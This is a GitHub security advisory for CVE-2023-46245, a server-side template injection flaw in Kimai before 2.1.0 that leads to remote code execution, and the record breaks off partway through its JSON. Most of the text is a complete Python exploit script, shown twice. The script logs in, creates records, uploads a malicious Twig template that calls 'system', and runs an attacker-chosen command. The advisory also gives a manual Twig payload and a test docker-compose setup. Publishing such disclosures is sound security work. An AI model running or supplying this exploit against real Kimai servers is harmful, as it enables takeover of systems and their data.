GHSA-FJHG-96CP-6FCW
Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
- MYSQL_ROOT_HOST='%'
- MYSQL_DATABASE=kimai
- MYSQL_USER=kimaiuser
- MYSQL_PASSWORD=kimaipassword
- MYSQL_ROOT_PASSWORD=changemeplease
ports:
- 3336:3306
volumes:
- mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
- 8001:80
volumes:
- public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
- kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
- ADMINMAIL=admin@kimai.local
- ADMINPASS=changemeplease
- DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
- TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
- memory_limit=1024
volumes:
- public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
- 8081:80
environment:
- PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}}
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept
import requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_form[start]': (None, ''),
'project_edit_form[end]': (None, ''),
'project_edit_form[budget]': (None, '0.00'),
'project_edit_form[timeBudget]': (None, '0:00'),
'project_edit_form[budgetType]': (None, ''),
'project_edit_form[visible]': (None, '1'),
'project_edit_form[billable]': (None, '1'),
'project_edit_form[globalActivities]': (None, '1'),
'project_edit_form[invoiceText]': (None, ''),
'project_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
except Exception as e:
print(str(e))
def create_activity(token, name,project_id ,session):
try:
form_data = {
'activity_edit_form[name]': (None, name),
'activity_edit_form[color]': (None, ''),
'activity_edit_form[comment]': (None, ''),
'activity_edit_form[project]': (None, ''),
'activity_edit_form[budget]': (None, '0.00'),
'activity_edit_form[timeBudget]': (None, '0:00'),
'activity_edit_form[budgetType]': (None, ''),
'activity_edit_form[visible]': (None, '1'),
'activity_edit_form[billable]': (None, '1'),
'activity_edit_form[invoiceText]': (None, ''),
'activity_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
if response.status_code == 201:
print(f"[+] Activity created: {name}")
except Exception as e:
print(f"An error occurred: {str(e)}")
def upload_malicious_document(token,session):
try:
form_data = {
'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
'invoice_document_upload_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
if ".pdf.twig" in response.text:
print("[+] Twig uploaded successfully!")
else:
print("[-] Error while uploading, exiting..")
exit(1)
except Exception as e:
print(f"An error occurred: {str(e)}")
import re
def create_malicious_template(token, name, session):
try:
data = {
'invoice_template_form[name]': name,
'invoice_template_form[title]': name,
'invoice_template_form[company]': name,
'invoice_template_form[vatId]': '',
'invoice_template_form[address]': '',
'invoice_template_form[contact]': '',
'invoice_template_form[paymentTerms]': '',
'invoice_template_form[paymentDetails]': '',
'invoice_template_form[dueDays]': '30',
'invoice_template_form[vat]': '0.000',
'invoice_template_form[language]': 'en',
'invoice_template_form[numberGenerator]': 'default',
'invoice_template_form[renderer]': 'din',
'invoice_template_form[calculator]': 'default',
'invoice_template_form[_token]': token
}
response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
# Define the regex pattern to capture the template ID and match the name
pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
# Search the response text with the regex pattern
match = pattern.search(response.text)
if match:
template_id = match.group(1) # Extract the captured group
print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
return template_id # Return the captured template ID
else:
print("[-] Failed to capture the template ID")
create_malicious_template(token,name,session)
except Exception as e:
print(f"An error occurred: {str(e)}")
exit(1)
def create_timesheet(token, activity, project, session):
form_data = {
'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
'timesheet_edit_form[duration]': (None, '0:15'),
'timesheet_edit_form[end_time]': (None, '12:15 AM'),
'timesheet_edit_form[customer]': (None, ''),
'timesheet_edit_form[project]': (None, project),
'timesheet_edit_form[activity]': (None, activity),
'timesheet_edit_form[description]': (None, ''),
'timesheet_edit_form[fixedRate]': (None, ''),
'timesheet_edit_form[hourlyRate]': (None, ''),
'timesheet_edit_form[billableMode]': (None, 'auto'),
'timesheet_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
if response.status_code == 302: # Changed to 200 as 301 is for redirection
print(f"[+] Created a new timesheet")
##############################
# login
csrf, _, _, _, _ = get_csrf("/login", session)
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer
get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name
get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)
# create new activity
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)
# EXPLOIT
######################
# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)
# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)
# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function
print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration
print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
create_timesheet(csrf, activity_id, customer_id, session)
postData = {
"searchTerm": "",
"daterange": "",
"state": "1",
"billable": "0",
"exported": "1",
"orderBy": "begin",
"order": "DESC",
"exporter": "pdf"
}
# export timesheets so they appear in exported invoices
export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
if "PDF-1.4" in export:
csrf, _, _, _, _ = get_csrf("/invoice/", session)
# get preview token to construct the preview URL to trigger SSTI
csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
for template_id in template_ids:
rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
# trigger the payload by visiting the renderer URL
rce = session.get(rendererURL)
if "PDF-1.4" in rce.text:
print(rendererURL)
print("[+] successfully executed payload")
# save the pdf locally since rendered URL will expire as soon as we end the session
pdf = f"{generate()}.pdf"
with open(pdf,'wb') as pdfFile:
pdfFile.write(rce.content)
pdfFile.flush()
pdfFile.close()
print(f"[+] Saved results with name: {pdf}")
exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such:
$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:

Impact
Remote Code Execution
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46245"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-30T15:40:04Z",
"nvd_published_at": "2023-10-31T16:15:09Z",
"severity": "HIGH"
},
"details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n ...\n $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n \u0027entries\u0027 =\u003e $timesheets,\n \u0027query\u0027 =\u003e $query,\n ...\n ], $this-\u003egetOptions($query)));\n ...\n $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n ...\n return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n sqldb:\n image: mysql:5.7\n environment:\n - MYSQL_ROOT_HOST=\u0027%\u0027\n - MYSQL_DATABASE=kimai\n - MYSQL_USER=kimaiuser\n - MYSQL_PASSWORD=kimaipassword\n - MYSQL_ROOT_PASSWORD=changemeplease\n\n ports:\n - 3336:3306\n volumes:\n - mysql:/var/lib/mysql\n command: --default-storage-engine innodb\n restart: unless-stopped\n healthcheck:\n test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n nginx:\n image: tobybatch/nginx-fpm-reverse-proxy\n ports:\n - 8001:80\n volumes:\n - public:/opt/kimai/public:ro\n restart: unless-stopped\n depends_on:\n - kimai\n healthcheck:\n test: wget --spider http://nginx/health || exit 1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n kimai: # This is the latest FPM image of kimai\n image: kimai/kimai2:fpm-prod\n environment:\n - ADMINMAIL=admin@kimai.local\n - ADMINPASS=changemeplease\n - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n - memory_limit=1024\n volumes:\n - public:/opt/kimai/public\n # - var:/opt/kimai/var\n # - ./ldap.conf:/etc/openldap/ldap.conf:z\n # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n restart: unless-stopped\n\n phpmyadmin:\n image: phpmyadmin\n restart: always\n ports:\n - 8081:80\n environment:\n - PMA_ARBITRARY=1\n\n\n\n postfix:\n image: catatnight/postfix:latest\n environment:\n maildomain: neontribe.co.uk\n smtp_user: kimai:kimai\n restart: unless-stopped\n\nvolumes:\n var:\n public:\n mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n try:\n project_id = \"\"\n csrf_token = \"\"\n preview_id = \"\"\n template_ids = []\n activity_customer_list = []\n \n csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n \n # Extract CSRF Token\n pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n match = pattern.search(csrf_login_response)\n if match:\n csrf_token = match.group(1)\n \n if \"performSearch\" in path:\n preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n preview_match = preview_pattern.search(csrf_login_response)\n if preview_match:\n preview_id = preview_match.group(1)\n\n \n template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n template_matches = template_pattern.findall(csrf_login_response)\n if template_matches:\n template_ids = [int(id) for id in template_matches]\n \n if \"timesheet\" in path:\n option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n option_matches = option_pattern.findall(csrf_login_response)\n if option_matches:\n activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n \n if \"project\" in path or \"activity\" in path:\n project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n if project_id_match:\n project_id = project_id_match.group(1)\n \n return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n \n except Exception as e:\n print(f\"Error occurred: {e}\")\n return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n try:\n params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n if \"I forgot my password\" not in login_response.text:\n print(f\"[+] Logged in: {username}\")\n return session\n else:\n print(\"Wrong username,password\", username)\n exit(1)\n except Exception as e:\n print(str(e))\n pass\n\ndef create_customer(token,name,session):\n try:\n\n data = {\n \u0027customer_edit_form[name]\u0027: (None, name),\n \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[_token]\u0027: (None, token),\n }\n\n\n response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n except Exception as e:\n print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n try:\n form_data = {\n \u0027project_edit_form[name]\u0027: (None, name),\n \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[customer]\u0027: (None, project_id), \n \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n \n except Exception as e:\n print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n try:\n form_data = {\n \u0027activity_edit_form[name]\u0027: (None, name),\n \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[_token]\u0027: (None, token),\n }\n \n response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n \n if response.status_code == 201:\n print(f\"[+] Activity created: {name}\")\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n try:\n form_data = {\n \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n \n if \".pdf.twig\" in response.text:\n print(\"[+] Twig uploaded successfully!\")\n else:\n print(\"[-] Error while uploading, exiting..\")\n exit(1)\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n try:\n data = {\n \u0027invoice_template_form[name]\u0027: name,\n \u0027invoice_template_form[title]\u0027: name,\n \u0027invoice_template_form[company]\u0027: name,\n \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[_token]\u0027: token\n }\n \n response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n \n # Define the regex pattern to capture the template ID and match the name\n pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n \n # Search the response text with the regex pattern\n match = pattern.search(response.text)\n \n if match:\n template_id = match.group(1) # Extract the captured group\n print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n return template_id # Return the captured template ID\n else:\n print(\"[-] Failed to capture the template ID\")\n create_malicious_template(token,name,session)\n \n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n form_data = {\n \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[project]\u0027: (None, project),\n \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n \u0027timesheet_edit_form[_token]\u0027: (None, token)\n }\n response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n if response.status_code == 302: # Changed to 200 as 301 is for redirection\n print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session) \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session) \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4] # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n csrf = get_csrf(\"/timesheet/create\", session)[0] # Update CSRF token for each iteration\n print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n create_timesheet(csrf, activity_id, customer_id, session)\n postData = {\n \"searchTerm\": \"\",\n \"daterange\": \"\",\n \"state\": \"1\",\n \"billable\": \"0\",\n \"exported\": \"1\",\n \"orderBy\": \"begin\",\n \"order\": \"DESC\",\n \"exporter\": \"pdf\"\n }\n # export timesheets so they appear in exported invoices\n export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n if \"PDF-1.4\" in export:\n csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n # get preview token to construct the preview URL to trigger SSTI\n csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n for template_id in template_ids:\n rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n # trigger the payload by visiting the renderer URL \n rce = session.get(rendererURL)\n \n if \"PDF-1.4\" in rce.text:\n print(rendererURL)\n print(\"[+] successfully executed payload\")\n # save the pdf locally since rendered URL will expire as soon as we end the session\n pdf = f\"{generate()}.pdf\"\n with open(pdf,\u0027wb\u0027) as pdfFile:\n pdfFile.write(rce.content)\n pdfFile.flush()\n pdfFile.close()\n print(f\"[+] Saved results with name: {pdf}\")\n exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n\n\n\n# Impact\n\nRemote Code Execution",
"id": "GHSA-fjhg-96cp-6fcw",
"modified": "2023-10-30T15:40:04Z",
"published": "2023-10-30T15:40:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
},
{
